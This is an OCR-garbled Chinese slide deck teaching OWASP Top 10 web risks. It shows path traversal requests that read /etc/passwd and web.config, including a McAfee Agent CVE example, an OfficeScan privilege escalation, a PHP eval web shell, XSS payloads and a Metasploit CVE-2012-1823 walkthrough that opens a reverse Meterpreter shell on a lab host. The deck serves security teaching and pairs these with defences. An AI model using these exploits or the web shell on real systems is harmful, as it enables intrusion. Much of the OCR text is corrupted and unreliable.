e set RHOST <hostname or ip>: HIZZRAHI IP
e set TARGETURI <host url>: BIZ R AR IS

msf exploit(

RHOST => 192.168.30.130
msf exploit(

TARGETURI => /cgi-bin/php

> Set RHOST 192.168.30.130

) > set TARGETURI /cgi-bin/php



B2 ( Threat )

@ 2EFEEH (Access Control) 2INEBEHAI#Z

1D HE

@ SASTFIDASTZ

= {BH

O Tﬁcéﬂ’h

1TH -

EREERR A ER T

C B Al LR BE|Access Controlg) 55

IR iR i)

FHUERIS5 R, - EEEEFTIGSERA
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722 ( Impacts )

O® ~FHFEARFIRIEE

@ ZFHSEESHER » NIEATLIBEEEER - 1

] & RS

RZATR °

AJ LLET S5 ) SR AR B A T AR TE RO T EE -

@ ~=ZEZRMHESIE

O ZHMERNFR ~ HuhRRENR
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AZLZZES|IE : Path Traversal Attack
1/5

@ FLEZHWHSIA
O Path Traversal Attock
W Auh AR IERNEI 28R ERRERA8
B B RS R R 8

<?php

$template = 'red.php';

if (isset($_COOKIE[ 'TEMPLATE']))
$template = § COOKIE[ 'TEMPLATE']:

include ("/home/users/phpguFu/templates/" . $template);
2>




AZLZZES|IE : Path Traversal Attack
2/5

BEEHERREE  HEFARSF LAOERBE A

GET /vulnerable.php HTTP/1.0
Cookie: TEMPLATE=../../. /el e/l e//../etc/passwd

BIEHErIRSERASR (&
Code)

HTTP/1.0 200 OK
Content-Type: text/html
Server: Apache

& ~ Web Source

-

root: fi3sED95ibgR6:0:1:System Operator:/:/bin/ksh
daemon:*:1:1::/tmp:
phpguru: £8£k3j101£31.:182:100:Developer: /home/users/phpguru/:/bin/csh
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AZLZZES|IE : Path Traversal Attack
3/5

@® Path Traversal Attack
O download.asp?filename=123.pdf
O download.asp?filename=../../web.config

Opening web. config
You have chosen to open:
" web.config
whech 5. XX (134 x8)
from: hetporl L8 e LSl

What should kceweanel do with this file?

O Qpen with | geoe (detautt) a1

97



AZLZZES|IE : Path Traversal Attack
4/5

@ :EiPath Traversal Attack¥ 15 # &1 &
O BB E R EELR IR 25

<heml version="1.0"7>»

“ Kl

For more inforsation on how to configere your ASP.NET application, please visit
»

e

- <configuration>

<add key="Login®™ value="Mylogin®/>

<add key="Password”™ value="MyPassword™/>
s />

</appSettings)

<connectionsStrings>

<add mame«"DBConnectionString™ commectionString«"Data Source«My08;Initial Catalog«tMyTable UsersihyUser;PuDeiyMiD; "

providerfane«"Systen.Data.SqlClient*/>

</connectionStrings>

= <system.web>
<compilation debuge"true® targetframework«"4.%" />
chttpRuntine targetfraseworks"4.%" />
</system, web>

</configuration>
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AL ES| A : Path Traversal Attack

5/5

@ FERRH

[
0 o

S

O

A

b
1=K

Wi

® EREER

OEFR

LEE - MRSBERESH

QREIR B F AR FRRE - BReHEnl

%2e%2e %2f
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AZZHIMEFS5|H -McAfee Agent

® Bk EBR Path Traversal
(O CVE-2015-7237

W Path Traversal (CWE-21)
B Insecure Direct Object References (CWE-932)
(O McAfee Agent 5.0.0E & EFR

B SRS
/DisplayLogFile?log_file_name=McScript.log&produ
ct_iId=EPOAGENT3000&t=1481575550936

B IUERE
/DisplayLogFile?log_file_name=../../../../etc/passwd
&product_id=EPOAGENT3000&t=1481575550936
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AZZHS5|IH -McAfee Agent

McAfee Agent patch fixes a vulnerability in its
remote log viewing functionality :
https://kc.mcafee.com/corporate/index?page=
content&id=SB10130

 McAfee Agent Actiity Log H McAfee Product logs ]

Products  McAfee Agent v J Log Files | masvc.atmcc.log v | Save

root x.0:0:root/root /bin/bash

daemon:x:1:1 daemon/usr/sbin /bin/sh

bin:x:2:2:bin/bin/bin/sh

Sys x:3:3:sys/dev/bin/sh

sync x:4:65534.:sync Jbin/bin/sync

games x:5:60:games /usr/games /bin/sh

man:x:6:12 :man Nar/cache/man/bin/sh 101




AZZIMESIA | BESERIRR

S guserldill R R | FEVER - ETAEAEH -

® hitp://192.168.x.x?2userld=Lucas
@ http://192.168.x.x?userld=ADMIN
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AZLZZHESIA - TrendMicro

OfficeScan

@ OfficeScan {&]fk 28

O kA< 11.0 Service Pack 1

(O Build 6077

O ZBEANEHAER
Ak =5
W 7 3.0

BB P 11T 17]

M OfficeScan - Iceweasel e e 0
- 120 0 0 officesc o srole/Merr Wegr MeMasterPwd exe
Mi2 officeScan
OfceScan ME B
| T = 11 0 Service Pack }
ks wrn
EALIRARARSNEAND
| = 30
B 2%
OfceScan

© 2015 Trend Mcro coporates / MMMNIENSARLE, FESHEMN

Trend Mcro™ OB Scn™ - SIARNFRRTDENENA LARRELHNRNN S
N . ZANAEARSARADN Ntasd SARTUENMEAE,. OncelScm
Wed SRNHARN OBLScn ANENAN ., LT, ENRSERN OnceScan &
N,

BN SENREONLANERENNGN. ANZAINENCESSNSasNAn
E-FS DTENENELEASEESER  DIRMNERA,

ARKERENRLN DERSwww NROETICID COM b
B-FLEUMREZRENENRERS,
LLERE LY

e
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OfficeScanifmiEz%ER (1/7)

- OfficeScan - lceweasel ©® © ©

J» x\#

. 1§ g —%1§ %mﬁﬁ%f)\ (€ 8 htips.//192.168.1.1 officescan/console/htmiicg ¥ C | BN
= 1§ % g *gﬁ WWW E)Most Visited v [llOffensive Security \KaliLinux \KaliDocs ~ »
’ | @18599 OfficeScan LT
8A
EANEN :
L4
(e
ARMERRCRET RN
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OfficeScanimiEz% A (2/7)

RINEANE  BhiEA LA ERHE  www ] BJES

OfficeScan Oz Oy (ms v]
EMEEE - 102.168.1.1 @ME - www B

* RRPO RBHE- - ~
RRPD

MRS B NREMEEMNS, & NN EE SN RS ONER SN, REERES, 50N AR AEN
OfficeScan BSMEIEEt  TOABNREEEL  +
> BRI M R
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OfficeScanimilazR AR (3/7)

RAEER - icoweasel 60

. g%iﬁﬁ@?ﬁ ’ ﬂ'%ﬁ ' [ @ 13 foMcescan/console/tmU/Auth/admin_account..info.htmedtprofie= 1 &type=Olisedteds trueSuser=wwa]
O #Biit EBuserg gy e °

O HEEBEBMALE (G511  wm
#i8) -

Ll L 12 I wew

wm - ~w
nea

L4 e e

L N

TFEnaE

“un LA
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OfficeScanimilazR AR (4/7)

EMEEn

@ SN2 FETIER e
i 3 B & fE el Rroot i
REABRERAEEM e

® EAEHERFKEEEMILE A
¥ S{EITIRE - —#A el
£ A& A A E R E|rootiR
SRRV EAE -

L LL 2 I
=
auey
LEa it LB

.
reot

EOEEEMREQRE AN

.....
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OfficeScanimilazR AR (5/7)

—————gp e -

BHEf LR - {E ABurp Suitehd £ &1 TiME

Bwrp Suite Free Edition v1.6.01

A AW - . . - - . -

ay ©

. .- on
ot -Cookie: unecAatINCuRREnT 15ecl7 i 5391 el O0e s pathe/of f1concan

et .Cookire:! useriDe3ipathesof ficescan

Set-Cookie:
[wi 8O dOSCENG twor k o dCoNDu T r SAONOdOSCEDS T4< 11 ONST A U0 SOSCEOUTH F e ak STATUINICNOJ0%

L(EtodotOStﬂvs\K:poth-/o“l(oKu\
Date: Thu, O Dec 2016 05:23:30 CMT

Connection: close
Content.Length: 747

{
R W Response

"(I‘V’:Tii’:&‘fm’.mmu.m"u‘mnu i ﬁﬁPWDm{ﬁ
e e o BINZ - BELH
Phrxcoma IR

TATXCONSOLE WER" @ 11,00, 040",
HCACHE™ @ "DADA03aC ]D8




OfficeScanifmiEz%ER (6/7)

1§ L ME R PWDRILA R (ICRYPTL...) »HHAZE
ZHEER S

AZRERARMCRRN TRAN
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OfficeScanifmiEzR AR (7/7)

BARD  EEAIRGEERAroot It EBFEIBIHE
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& AZZHMESIA -

@ EFRZEFH|ERSession ID#ET

25 MAEZEA -

O FEEAFEARBEBRBARMAR(EN: /. BREHE

@) o

@ FHARRERE  FREEXZZBREHBHFERKRNE

F8 (W:[0-9] [a-zA-Z] ) -

@ {#H Hard Codegl|1£ 4 © [RH|gE TH I tE=IEE

<?php

include($ GET['file'] .

'.html');
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AREHIEECUFHANER 1/2

® 7= Spring HpIWeb.xmis & B & & /) F IS FE &

*g <servlet-mapping>
<servlet-name>default</serviet-name>
<url-pattern>*.html</url-pattern>

</servliet-mapping>

<servliet-mapping>
<servliet-name>default</serviet-name>
<url-pattern>*.css</url-pattern>

</serviet-mapping>

<servlet-mapping>
<servlet-name>default</serviet-name>
<url-pattern>*.js</url-pattern>

</servlet-mapping>

<servlet-mapping>
<servlet-name>default</servliet-name>
<url-pattern>*.json</url-pattern>

</servliet-mapping>

<servliet-mapping>
<servliet-name>default</serviet-name>
<url-pattern>/resources/picture/*</url-pattern>

</servlet-mapping> 112



AREARINEREJUFINER 2/2

® 7= .Net fipjweb.configsi e B ZERFHER
& &
<!— Block 511 file extensions except cfm,js,css,html —>

<fileExtensions allowUnlisted="false" applyToWebDAV="true">
<add fileExtension=".cfm" allowed="true" />
<add fileExtension=".js" allowed="true" />
<add fileExtension=".css" allowed="true" />
<add fileExtension=".html" allowed="true" />
</fileExtensions>
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A6 — Security Misconfiguration




B2 ( Threat )

O NEZFFFFEAT AREHNIFIE
@ RIZHTRRR MRS ZE TS
@ REAMNER

@ RZIRERINHERNE 755
@ KRR ERFTHE
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722 ( Impacts )

@ ELREREESENREEETHTELERFEIEN
TIHE

@ B BLHRESFEBEBENRRZN -
R 15 5 BHUR TR FE A2 FF FBUR AU PREEH K -
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A AR 7 HY

@ 8k {7] Bl 25 < BR Il 7 HL B 15
T ERE A IR EF
BT BIERE )

@ ZEIEF

OBAESEmRRE  ERE

FHLTE48uh £

’ /\ng'l

;HR (/\rg;g/\riﬂ

i5

S Bt

=R

B (FREABILRRESZE 2 A SRR 5)
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Scenario #1

QU RZ ARG TFEEMRAETE

O L—EExEMNER -




Scenario #2 Directory Browsing

@ 5k ATEREE Y fFFR S8 iA 7P ED

ndex of /wordpress

O RERFERNE - et sttt Size et

O ﬁﬁ -l.LE ﬁtfﬁ *E' E 9* :a o l index.php 08-Jon-2012 11:01 ¥
e L M 1< / ¥) license, txt 06-May-2012 02:28 19K
N) reodie htal 26-Jun-2012 16:54 9.0k
P w2 ivote . pho 13-Dec-2011 17:45 4.2
Qre-alin/ 27-Jun-2012 14:45
D eo-g0.oho 13-May-2012 16:41 1.3K

T rog0 jg-header php  08-Jon-2012 11:01 271
T ro-omments-post. pho 10-Apr-2012 12:21 3.4K
) romiig-somple, pho 01-Nov-2010 09:45 3.1K

O m-emtent/ 27-Jun-2012 14:45

D) 22wt oho ©9-Jan-2012 13:02 2.7
O -m ludes/ 27-Jun-2012 14:45

Dol ks-cpel.php  23-0ct-2010 97:17 2.9
Do d.oho 22-Apr-2012 93:95 2.3
Deo- gin.pho 26-Jun-2012 13:53 23K
e Loho 02-May-2012 98:32 7.5k
P w2 tings . .pho 26-Apr-2012 23:54 9.7X
) ro-wwanup oho 21-Apr-2012 01:40 13K
D ep-uckbock.php  98-Jon-2012 11:01 3.6K
P xaliss pho 16-Feb-2012 18:02 2.7X

(19
I EEEEEE——— . ' E——



Scenario #2 Directory Browsing

® ;Sphpr » E§EFDirectory Browsing
O /etc/apache2/apache2.conf

<Directory /var/www/>
Options FollowSymLinks
AllowOverride None
Require all granted
</Directory>

<Directory /var/www/>

Options Indexes FollowSymLinks
AllowOverride None

Require all granted
</Directory>

Enable Directory Browsing disable Directory Browsing
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Scenario #3 Improper Error Handling

AEAPAERAMESEE @ EBHFERNER - 125068 -
EIT&:-E*IJ ‘Zgzﬂuu,s o

Server Error in '/' Application.

A network-related or instance-specific error occurred while establishing a . <?xml version="1.0"7>
accessible. Verify that the instance name is correct and that SQL Server it <configu ration>
Interfaces, error: 26 - Error Locating Server/Instance Specified) <systen. web>
Desiriptaan: o ot arms '3 ?uwduwmm FUate e T S0k Yace Mo o <CUStOllEfTOfS mOde="0ff“/>
wm-mm“m ;t.wm P eu.:.:nu:\mmmm </Systel|'l. web>
Source Even </configuration>
Line 7: var db = §0atabase.Open(~TradeOnl8~);
Line §: var selectQueryString = “SELICT * FROM Usersinfo®; .
Line 9 var rous = ob.Query(selectQurysiring); Show everyone the detailed error
Ls 3 ] .
tias 21 ° message. This is rarely a good idea.

Source Flle: C Usery Maaans sinnte Vet Soey T adeOn Aome finw Tatie (40w Lime: §
Stack Trace:
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Scenario #3 Improper Error Handling

@ X .Netd » EiEfError Message

Off Show everyone the detailed error message.
This is rarely a good idea. <?xml version="1.0"7>
<configuration>
<system.web>
Don’t show anyone the detailed error <customErrors mode="0n"/>
On </system.web>
message. </configuration>

Only show the detailed error message if you

RemoteO :
are testing from the local server where the

nl . .
Y site resides.
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WebShell5525 1/3

@ FIRF| LEERMER  BZEEBLHMGER -
[ BFIT—AIEEAR S » EMEVS RAHER -
O 11[1 PHPA8uh iz _EHINEE

O http://127.0.0.1/upload.php

O EZ @ cmd.php AT

<?php
eval($_POST[CMD]);

>
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WebShell$5%4 2/3

Iceweasel (- JMON -}
/) http/iicti..webshellphp x | &
(': victim example.com/webshell php v | ¢ ||Q Search w8 $ A & =
Fetch: host: 203011337 port: 80 path:
CWD: Nar/www/html Upload: Browse.. No file selected.
Cmd: Is-l
Clear cmd
Execute
s -1
otal 32
drwxr-xr-x 7 www-data www-data 4096 Mar 8 2016 downloads
drwxr-xr-x 4 www-data ww-data 4096 Mar 8 2016 files
drwxr-xr-x 2 www-data w-data 4096 Mar 8 2016 1sages
crwer««r«« 1 wow-data www-data 11104 Mar 8 2016 index.htal
“rw-r--r-- 1 www-data ww-data 1656 Mar 8 2016 robots.txt
~rw-r--r-- 1 www-data ww-data 3718 Jan 21 2017 webshell.php
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WebShell$5%4 3/3

® ERIEIE -

O & L HEERNEIE S

O LEEMEREBEErename

(O Hard-Code gl #g &
B EEEMEREBEENL pdf

O w&E EEABRRcontent-type

O BEEREFELBERBEHER - MARARITE
PR
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e 3

@ BREZESBIE

® BREFRESR - minE=xE
O index.php.bak ~ |ndex.php~

® &

(O test.php

® LLE

ZE IR EA A

LT

J K EE R A & AR Al

FHRI R @ °

ERY77CR A

et B

R 2
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A7 - Cross-Site Scripting (XSS)




B2 ( Threat)

@ it RIATINE (Cross-site scripting @ @585 -
XSS) BREXBIAN—ENE - EAFEERFER
EZHENBEIAZMEE L -
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722 ( Impacts )

@ HiFAEEEHERERAEAITERERERE 2
HU{E A& CookieE S Bl & R = -
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7L ISUhRI I EE 1/2

s WEEEIFWRHFENRAERER -
¢ F\Aﬁlﬁﬁiﬁkﬁuﬁkﬁignm .
e <script>alert(123)</script>
. %EE##@?EEEﬁfﬁﬁﬁﬁﬁﬁE%ﬂzlﬂiﬁ 0
- WEFEEIENRERER

123

OK




@75 ISUhRI 2RIV EE 2/2

* SFRERFTERMABENLS  BEHETX
EEAF RREMERI B
— WAL
= Ats
1 11 4845z
% 18 & TR L
BEhR
Email g {iL
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[z 59 8Y FS 1k i A T 22

@ RHBISSTEAFHEZWNBNSHEMRETR
ERER -
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EiETalt 1/5

@ EiiE|RequestZBE—XRERH/IFEFTT
@ ‘GResponselis » W EZEH—XREEEH/IEEFT
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EiETalt 2/5

fEMA 28R AR EMAIESR

- [0-9]. [a-zA-Z]. _
*!ﬂﬁﬁl%%%i@ﬁ#iﬁ?—fc
- m’ < T e R RBNEE (RE)

- {iﬁﬁHTML Entities - ;ﬁﬁi}kﬂﬁﬁ}ﬁﬁHTMLﬂﬂéﬁﬁ%

Convert & to &amp;
- Convert < to &lt;
- Convert > to &gt;
- Convert " to &quot;
- Convert ' to &#x27;
- Convert / to &#x2F;
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Eiafaht 3/5

® tJavard  {&E

y I d .Org.ohasp'eqcoder. fgroupld> pom.xml Cpgl% Org.OwaSp.enCOder ‘Zqic

org.owasp.encoderfizEXSSIA

ol

ctId>encoder</artifactlid>

1.2.1</version>

public static void main(String[] args) {
String xss = "<script>alert(123);</script>" ;
System.out.println(xss);
System.out.printiln( Encode. forHtml(xss));

© Console £ =5 Progress (2. Problems " X%

<terminated> Checker (1) [Java Application] /usr/lib/jvm/java-8-oracle/bin/java
<script>alert(123);</script>
&lt;scriptégt;alert(123);&1lt;/scriptégt;



EiETalt 4/5

@ :Springrh - FAREXSSIEE o
O grEE—=FrequestiI 2 EEEITIEEF TR BE
ﬂﬁ o

@RequestMapping(value = { "/file/get" }, method = { RequestMethod.GET })
public @ResponseBody String getFile(@RequestParam String fileld) {
fileld = Encode. forHtml(fileld) ;

return fileservice.getFile( fileld).toString();

}
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ZiETalt 5/5

@ ;°.NET C#rh - B52EXSSIE -
(O using Microsoft.Security.Application; -

//$%F AntiXSSLibrary.dll
using Microsoft.Security.Application;

string sEMP NAME = this.txtEMP NAME.Text;
this. lblMsg.Text = "WRREHZ : " + AntiXss.GetSafeHtmlFragment (SEMP NAME) + " FiifAk

",
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A8 - Insecure Deserialization




B2 ( Threat)

® ~ZMRFHLiFIRE:

PHPal Z2Node.|s&=
@ F 2 RFItEEEIRZN]
JJavafz 51 HI a8l {E FF
RIS T B B {ER 1T T E

O 7

- E R HEJOVOEE

CER RN

BT ©
 ITEYW{Ereturnz

2 BHERFILER

gHbyteStreampFilt B Bk H error Zz g 5 4%
Payload £ &3 1T
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72 (Impacts )

® R F3IILiRA G B BUA R K EHIT
® 1582 th AT LU BRI B LR LT

AT E Fn

S HEFH AR TR -

= RIE ~
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A9 - Using Components with
Known Vulnerabilities




B2 ( Threat)

® & A Open Source Software (OSS) :

O F{F B
O ﬂemﬁ.Open Source (BRI JE ~ HEZE ~ R~
TEH) BB HSELFERE
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72 (Impacts )

® Open Sourcef#fi & iz {F
IR pY B T B A2 2 B TAT B

- -

T WEREERES

b

@ 5%= A LLE
INEE -
O EH&
OB’ER

75 55 A 155 R BR IO U 64 B A S5 0 1

BISLA -
GeHER -

B AR EARE L -
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Metasploit

® Metasploit ipE = A BiET2iE Rz (Penetration Testing)
i ARRBI R -

@ Metasploitét#timiz T HEITREMNBIT Texploiti{iF) AMTA -

O ISR

O #¥| (Search) & 7Ea{E BRI E 1A

O #4212 516 MR (Exploit) -

O #FEHE(Target) - EEABEIBEET R EW—E/BHE FER i -
mefEERImAIERRZRS - ERARMNEXZRBARAHES
HRIVEALN -

O #ErsniESRE(Payload) -

O e HAaER $M(Option) -

O #17BR/ 838/ A (Explotation)

O ERD : BEBERSNER - ATRITRARKIES -
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Check Report

@ {F A Metasploit gy » BT HI&AZ2EMNRRE > BF

=5 {F HIEEEIE T EOpenVAS ~ Nexpose

Nesussz&n I ©

O R IESHRRUNRRFE  EZREA
7E{E AMetasploit T B {78iE

Y/ Result: PHP-CGl-based setups vulnerability when parsing query string
parameters from php files.

e e e e e ST A P 5% 19216830130 son > References

parameters from php fles .~ p (L)

4-::'2"“‘ E— CVE: | CVE-2012-1823, EVE-2012-2311, ¢
Vulnerabiity Detection Retuht BID: 53388

Velnerable wrl: Mup://192.168.30. 130/ cgl -Mn/phep

mpact
Explobing ths ssee dlows remote attackers 10 view the sowrce code of flles In the contest of the server pracess. This may allow the attacker to obtan
serative ormation and te ren arbstrary PP code on the aMected comgutor ather attacks e ako possble
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R4 A Matasploit

Smsfconsole

# msfconsole

=

--=[ 503 payloads - 40 encoders - 10 nops

]
--=[ 1699 exploits - 968 auxiliary - 299 post ]
l
--=| Free Metasploit Pro trial: http://r-7.co/trymsp ]
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1 = 0] GERY Exploit

@ H=n{FEHBNEEL (Modules)
O search <keyword>:

msf > search CVE-2012-1823

Matching Modules

Disclosure Date Rank Description

exploit/multi/http/php cgi arg injection 2012-065-03 excellent PHP CGI Argument Injection
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{# FH Exploit

e Use J5< | {F HYFERIINE1RAH
o show i< : BRI EAEANFFESBEE

msf > use exploit/multi/http/php cgi arg injection
msf exploit( ) > show options

Module options (exploit/multi/http/php cgli arg injection):

Name Current Setting Required Description

PLESK false yes Exploit Plesk

Proxies no A proxy chain of format type:host:port|[,type:host:port]|...
RHOST yes The target address

RPORT 80 yes The target port (TCP)

SS false no Negotiate SSL/TLS for outgoing connections

TARGETURI no The URI to request (must be a CGI-handled PHP script)
URIENCODING © yes Level of URI URIENCODING and padding (© for minimum)

VHOST HTTP server virtual host
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AT L
MATIWEERINTE - BEWITAY) - RO

i

=)

Plmeterpreter/TH - 1 O] E{EHE

msf exploit( ) > exploit

Started reverse TCP handler on 192.168.30.132:4444
Sending stage (37543 bytes) to 192.168.30.130
Meterpreter session 1 opened (192.168.30.132:4444 -> 192.168.30.130:39874) at

meterpreter > help

Core Commands

Description

Help menu
background Backgrounds the current session
bgkill Kills a background meterpreter script
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Meterpreter

..'-‘O.f,.;'."("‘t‘-[' > “,y‘,l.".“(')

Computer : metasploitable
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
php/ Linux
» getuid
Server username: www-data (33)
peterpreter > getpid
Current pid: 22246
peterpreter > shell
Process 22251 created.
Channel © created.

nh‘Dc]ﬂl
ww-data
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e 3

@ TR EMMARIRNE ~ ER TR -

@ WRETEAREAINE ~ ER - TREE#ECVEL
ERERERCAEE -

@ BERRNILARBIE - NAFTEEH K EBESFHA
MEAA 0 B[R AT N BEARREEE
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A10 - Insufficient
Logging&Monitoring




B2 ( Threat)

@ AR TN EERNBEHEME—THINE RS
BUELEM ~ FHERBEMRER

@ MEXZHHIMAERSEL @ ERFEINER &
ERAMEBB200XRU LA GRTERNR B
BEEEBE=AWAITARIERN MAZEBR

AP AE B T ©
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72 ( Impacts )

o

RREESERT  BERE

O 4

& o
@ EXEINBESMIRARZINDG - 7

R LLFIET AR RS -
LEAERARR 0 REM LR © 1747

b o

3 S

a:

EREHGS =

T i RELLER

£ )2

&
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1= R ARV RES

E'i"‘

=iES

@ EiEE
O BEEXTEZHEMEEEREENFARSEL
O fEHClient-Serverg iz - HHRHNEE| S—8RAKREL -
® EHIEEEE
O ME ~ ERMessage
® ZFEEE
O &iEh ~ CPU ~ ERE
@ SEHT
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